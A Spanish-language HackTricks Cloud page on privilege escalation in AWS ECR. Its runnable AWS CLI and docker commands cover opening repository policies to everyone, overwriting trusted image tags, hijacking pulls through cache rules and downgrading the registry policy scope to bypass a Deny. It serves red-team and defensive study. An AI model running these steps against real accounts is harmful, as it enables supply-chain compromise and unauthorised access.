AWS - ECR Privesc
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
ECR
ecr:GetAuthorizationToken,ecr:BatchGetImage
Un atacante con las ecr:GetAuthorizationToken y ecr:BatchGetImage puede iniciar sesión en ECR y descargar imágenes.
For more info on how to download images:
Potential Impact: Indirect privesc al interceptar información sensible en el tráfico.
ecr:GetAuthorizationToken, ecr:BatchCheckLayerAvailability, ecr:CompleteLayerUpload, ecr:InitiateLayerUpload, ecr:PutImage, ecr:UploadLayerPart
Un atacante con todos esos permisos puede iniciar sesión en ECR y subir imágenes. Esto puede ser útil para escalar privilegios hacia otros entornos donde se estén usando esas imágenes.
Además, ecr:PutImage puede usarse para sobrescribir una etiqueta existente (por ejemplo stable / prod) subiendo un manifiesto de imagen diferente bajo esa etiqueta, efectivamente secuestrando despliegues basados en etiquetas.
Esto es especialmente impactante cuando los consumidores aguas abajo despliegan por etiqueta y se actualizan automáticamente al detectar cambios en la etiqueta, como:
- Lambda container image functions (
PackageType=Image) referencing.../repo:stable - ECS services / Kubernetes workloads pulling
repo:prod(without digest pinning) - Any CI/CD that redeploys on ECR events
En esos casos, la sobrescritura de una etiqueta puede conducir a remote code execution en el entorno consumidor y a escalada de privilegios hacia la IAM role usada por esa carga de trabajo (por ejemplo, una Lambda execution role con secretsmanager:GetSecretValue).
To learn how to upload a new image/update one, check:
ecr-public:GetAuthorizationToken, ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload, ecr-public:InitiateLayerUpload, ecr-public:PutImage, ecr-public:UploadLayerPart
Como la sección anterior, pero para repositorios públicos.
ecr:SetRepositoryPolicy
Un atacante con este permiso podría cambiar la repository policy para otorgarse a sí mismo (o incluso a todo el mundo) read/write access.
For example, in this example read access is given to everyone.
aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
Contenido de my-policy.json:
{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "allow public pull",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}
ecr-public:SetRepositoryPolicy
Como la sección anterior, pero para repositorios públicos.
Un atacante puede modificar la política del repositorio de un repositorio ECR Public para otorgar acceso público no autorizado o para escalar sus privilegios.
# Create a JSON file with the malicious public repository policy
echo '{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "MaliciousPublicRepoPolicy",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr-public:GetDownloadUrlForLayer",
"ecr-public:BatchGetImage",
"ecr-public:BatchCheckLayerAvailability",
"ecr-public:PutImage",
"ecr-public:InitiateLayerUpload",
"ecr-public:UploadLayerPart",
"ecr-public:CompleteLayerUpload",
"ecr-public:DeleteRepositoryPolicy"
]
}
]
}' > malicious_public_repo_policy.json
# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
Impacto potencial: Acceso público no autorizado al repositorio ECR Public, permitiendo a cualquier usuario subir, descargar o eliminar imágenes.
ecr:PutRegistryPolicy
Un atacante con este permiso podría cambiar la política del registro para concederse a sí mismo, a su cuenta (o incluso a todos) acceso de lectura/escritura.
aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
ecr:CreatePullThroughCacheRule
Abusa de las reglas ECR Pull Through Cache (PTC) para mapear un namespace upstream controlado por el atacante a un prefijo privado de ECR de confianza. Esto hace que los workloads que hagan pull desde el ECR privado reciban transparentemente imágenes del atacante sin necesidad de hacer push al ECR privado.
- Permisos requeridos: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. Si se usa un upstream de ECR Public: ecr-public:* para crear/pushear al repo público.
- Upstream probado: public.ecr.aws
Steps (example):
- Prepare attacker image in ECR Public
Get your ECR Public alias with: aws ecr-public describe-registries –region us-east-1
docker login public.ecr.aws/<public_alias> docker build -t public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test . docker push public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test
-
Create the PTC rule in private ECR to map a trusted prefix to the public registry aws ecr create-pull-through-cache-rule –region us-east-2 –ecr-repository-prefix ptc –upstream-registry-url public.ecr.aws
-
Pull the attacker image via the private ECR path (no push to private ECR was done) docker login <account_id>.dkr.ecr.us-east-2.amazonaws.com docker pull <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test docker run –rm <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test
Potential Impact: Compromiso de la cadena de suministro al secuestrar nombres de imagen internos bajo el prefijo elegido. Cualquier workload que haga pull de imágenes desde el ECR privado usando ese prefijo recibirá contenido controlado por el atacante.
ecr:PutImageTagMutability
Abusa de este permiso para cambiar un repositorio con inmutabilidad de tags a mutable y sobrescribir tags de confianza (p. ej., latest, stable, prod) con contenido controlado por el atacante.
- Permisos requeridos:
ecr:PutImageTagMutabilitymás capacidades de push (ecr:GetAuthorizationToken,ecr:InitiateLayerUpload,ecr:UploadLayerPart,ecr:CompleteLayerUpload,ecr:PutImage). - Impacto: Compromiso de la cadena de suministro al reemplazar silenciosamente tags inmutables sin cambiar los nombres de los tags.
Steps (example):
Poison an immutable tag by toggling mutability
```bash REGION=us-east-1 REPO=ht-immutable-demo-$RANDOM aws ecr create-repository --region $REGION --repository-name $REPO --image-tag-mutability IMMUTABLE acct=$(aws sts get-caller-identity --query Account --output text) aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com # Build and push initial trusted tag printf 'FROM alpine:3.19\nCMD echo V1\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod # Attempt overwrite while IMMUTABLE (should fail) printf 'FROM alpine:3.19\nCMD echo V2\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod # Flip to MUTABLE and overwrite aws ecr put-image-tag-mutability --region $REGION --repository-name $REPO --image-tag-mutability MUTABLE docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod # Validate consumers pulling by tag now get the poisoned image (prints V2) docker run --rm ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod ```Global registry hijack via ROOT Pull-Through Cache rule
Crea una regla Pull-Through Cache (PTC) usando el especial ecrRepositoryPrefix=ROOT para mapear la raíz del registro privado de ECR a un registro público upstream (p. ej., ECR Public). Cualquier pull a un repositorio inexistente en el registro privado será servido de forma transparente desde upstream, permitiendo supply-chain hijacking sin hacer push al ECR privado.
- Permisos requeridos:
ecr:CreatePullThroughCacheRule,ecr:DescribePullThroughCacheRules,ecr:DeletePullThroughCacheRule,ecr:GetAuthorizationToken. - Impacto: Los pulls a
<account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag>tienen éxito y crean automáticamente repositorios privados obtenidos desde upstream.
Nota: Para reglas
ROOT, omite--upstream-repository-prefix. Proporcionarlo causará un error de validación.
Demo (us-east-1, upstream public.ecr.aws)
```bash REGION=us-east-1 ACCT=$(aws sts get-caller-identity --query Account --output text)1) Create ROOT PTC rule mapping to ECR Public (no upstream prefix)
aws ecr create-pull-through-cache-rule
–region “$REGION”
–ecr-repository-prefix ROOT
–upstream-registry-url public.ecr.aws
2) Authenticate to private ECR and pull via root path (triggers caching & auto repo creation)
aws ecr get-login-password –region “$REGION” | docker login –username AWS –password-stdin ${ACCT}.dkr.ecr.${REGION}.amazonaws.com
Example using an official mirror path hosted in ECR Public
(public.ecr.aws/docker/library/alpine:latest)
docker pull ${ACCT}.dkr.ecr.${REGION}.amazonaws.com/docker/library/alpine:latest
3) Verify repo and image now exist without any push
aws ecr describe-repositories –region “$REGION”
–query “repositories[?repositoryName==docker/library/alpine]”
aws ecr list-images –region “$REGION” –repository-name docker/library/alpine –filter tagStatus=TAGGED
4) Cleanup
aws ecr delete-pull-through-cache-rule –region “$REGION” –ecr-repository-prefix ROOT aws ecr delete-repository –region “$REGION” –repository-name docker/library/alpine –force || true
</details>
### `ecr:PutAccountSetting` (Bajar `REGISTRY_POLICY_SCOPE` para eludir Deny de la política de registro)
Abusar de `ecr:PutAccountSetting` para cambiar el alcance de la política de registro de `V2` (política aplicada a todas las acciones de ECR) a `V1` (política aplicada solo a `CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage`). Si una política de registro restrictiva con Deny bloquea acciones como `CreatePullThroughCacheRule`, degradar a `V1` elimina esa imposición para que los Allows de la identity‑policy entren en vigor.
- Permisos requeridos: `ecr:PutAccountSetting`, `ecr:PutRegistryPolicy`, `ecr:GetRegistryPolicy`, `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`.
- Impacto: Capacidad para realizar acciones de ECR que previamente estaban bloqueadas por un Deny de la política de registro (p. ej., crear reglas PTC) al establecer temporalmente el alcance a `V1`.
Steps (example):
<details>
<summary>Eludir Deny de la política de registro en CreatePullThroughCacheRule cambiando a V1</summary>
```bash
REGION=us-east-1
ACCT=$(aws sts get-caller-identity --query Account --output text)
# 0) Snapshot current scope/policy (for restore)
aws ecr get-account-setting --name REGISTRY_POLICY_SCOPE --region $REGION || true
aws ecr get-registry-policy --region $REGION > /tmp/orig-registry-policy.json 2>/dev/null || echo '{}' > /tmp/orig-registry-policy.json
# 1) Ensure V2 and set a registry policy Deny for CreatePullThroughCacheRule
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION
cat > /tmp/deny-ptc.json <<'JSON'
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "DenyPTCAll",
"Effect": "Deny",
"Principal": "*",
"Action": ["ecr:CreatePullThroughCacheRule"],
"Resource": "*"
}
]
}
JSON
aws ecr put-registry-policy --policy-text file:///tmp/deny-ptc.json --region $REGION
# 2) Attempt to create a PTC rule (should FAIL under V2 due to Deny)
set +e
aws ecr create-pull-through-cache-rule \
--region $REGION \
--ecr-repository-prefix ptc-deny-test \
--upstream-registry-url public.ecr.aws
RC=$?
set -e
if [ "$RC" -eq 0 ]; then echo "UNEXPECTED: rule creation succeeded under V2 deny"; fi
# 3) Downgrade scope to V1 and retry (should SUCCEED now)
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V1 --region $REGION
aws ecr create-pull-through-cache-rule \
--region $REGION \
--ecr-repository-prefix ptc-deny-test \
--upstream-registry-url public.ecr.aws
# 4) Verify rule exists
aws ecr describe-pull-through-cache-rules --region $REGION \
--query "pullThroughCacheRules[?ecrRepositoryPrefix=='ptc-deny-test']"
# 5) Cleanup and restore
aws ecr delete-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc-deny-test || true
if jq -e '.registryPolicyText' /tmp/orig-registry-policy.json >/dev/null 2>&1; then
jq -r '.registryPolicyText' /tmp/orig-registry-policy.json > /tmp/_orig.txt
aws ecr put-registry-policy --region $REGION --policy-text file:///tmp/_orig.txt
else
aws ecr delete-registry-policy --region $REGION || true
fi
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
HackTricks Cloud

